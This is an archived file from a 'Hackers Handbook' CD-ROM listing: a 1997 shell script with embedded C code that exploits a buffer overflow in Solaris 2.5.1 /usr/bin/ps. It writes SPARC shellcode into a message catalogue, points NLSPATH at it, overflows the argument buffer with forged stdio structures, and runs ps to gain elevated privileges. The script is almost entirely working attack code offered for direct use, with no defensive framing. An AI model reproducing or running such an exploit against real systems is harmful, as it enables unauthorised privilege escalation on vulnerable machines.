home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / ps_expl.sh < prev    next >
Encoding:
Text File  |  1998-10-15  |  2.9 KB  |  96 lines

  1. --- ps_expl.sh: cut here ---
  2. #!/bin/sh
  3. #
  4. # Exploit for Solaris 2.5.1 /usr/bin/ps # J. Zbiciak, 5/18/97
  5. #
  6.  
  7. # change as appropriate
  8. CC=gcc
  9.  
  10. # Build the "replacement message" :-) cat > ps_expl.po << E_O_F
  11. domain "SUNW_OST_OSCMD"
  12. msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n" msgstr
  13. "\055\013\330\232\254\025\241\156\057\013\332\334\256\025
  14. \343\150\220\013\200\016\222\003\240\014\224\032\200\012\234
  15. \003\240\024\354\073\277\354\300\043\277\364\334\043\277\370
  16. \300\043\277\374\202\020\040\073\221\320\040\010\220\033\300
  17. \017\202\020\040\001\221\320\040\010" E_O_F
  18.  
  19. msgfmt -o /tmp/foo ps_expl.po
  20.  
  21. # Build the C portion of the exploit cat > ps_expl.c << E_O_F
  22.  
  23. /*****************************************/ 
  24. /* Exploit for Solaris 2.5.1 /usr/bin/ps */ 
  25. /* J. Zbiciak,  5/18/97                  */ 
  26. /*****************************************/ 
  27. #include <stdio.h>
  28. #include <stdlib.h>
  29. #include <sys/types.h>
  30. #include <unistd.h>
  31.  
  32. #define BUF_LENGTH      (632)
  33. #define EXTRA           (256)
  34.  
  35. int main(int argc, char *argv[])
  36. {
  37. char buf[BUF_LENGTH + EXTRA];
  38. /* ps will grok this file for the exploit code */
  39. char *envp[]={"NLSPATH=/tmp/foo",0}; u_long *long_p;
  40. u_char *char_p;
  41. /* This will vary depending on your libc */
  42. u_long proc_link=0xef70ef70;
  43. int i;
  44.  
  45. long_p = (u_long *) buf;
  46.  
  47. /* This first loop smashes the target buffer for optargs */
  48. for (i = 0; i < (96) / sizeof(u_long); i++)
  49. *long_p++ = 0x10101010;
  50.  
  51. /* At offset 96 is the environ ptr -- be careful not to mess it up */ 
  52. *long_p++=0xeffffcb0;
  53. *long_p++=0xffffffff;
  54.  
  55. /* After that is the _ctype table.  Filling with 0x10101010 marks the
  56. entire character set as being "uppercase printable". */
  57. for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)
  58. *long_p++ = 0x10101010;
  59.  
  60. /* build up _iob[0]  (Ref: /usr/include/stdio.h, struct FILE) */ 
  61. *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
  62. *long_p++ = proc_link;    /* pointer to chars in buffer */ 
  63. *long_p++ = proc_link;    /* pointer to buffer */
  64. *long_p++ = 0x0501FFFF;   /* unbuffered output on stream 1 */
  65. /* Note: "stdin" is marked as an output stream.  Don't sweat it. :-) */
  66.  
  67. /* build up _iob[1] */
  68. *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */ 
  69. *long_p++ = proc_link;    /* pointer to chars in buffer */ 
  70. *long_p++ = proc_link;    /* pointer to buffer */
  71. *long_p++ = 0x4201FFFF;   /* line-buffered output on stream 1 */
  72.  
  73. /* build up _iob[2] */
  74. *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */ 
  75. *long_p++ = proc_link;    /* pointer to chars in buffer */ 
  76. *long_p++ = proc_link;    /* pointer to buffer */
  77. *long_p++ = 0x4202FFFF;   /* line-buffered output on stream 2 */
  78.  
  79. *long_p =0;
  80.  
  81. /* The following includes the invalid argument '-z' to force the
  82. usage msg to appear after the arguments have been parsed. */
  83. execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);
  84. perror("execle failed");
  85.  
  86. return 0;
  87. }
  88. E_O_F
  89.  
  90. # Compile it
  91. $CC -o ps_expl ps_expl.c
  92.  
  93. # And off we go!
  94. exec ./ps_expl
  95.  
  96. --- EOF ---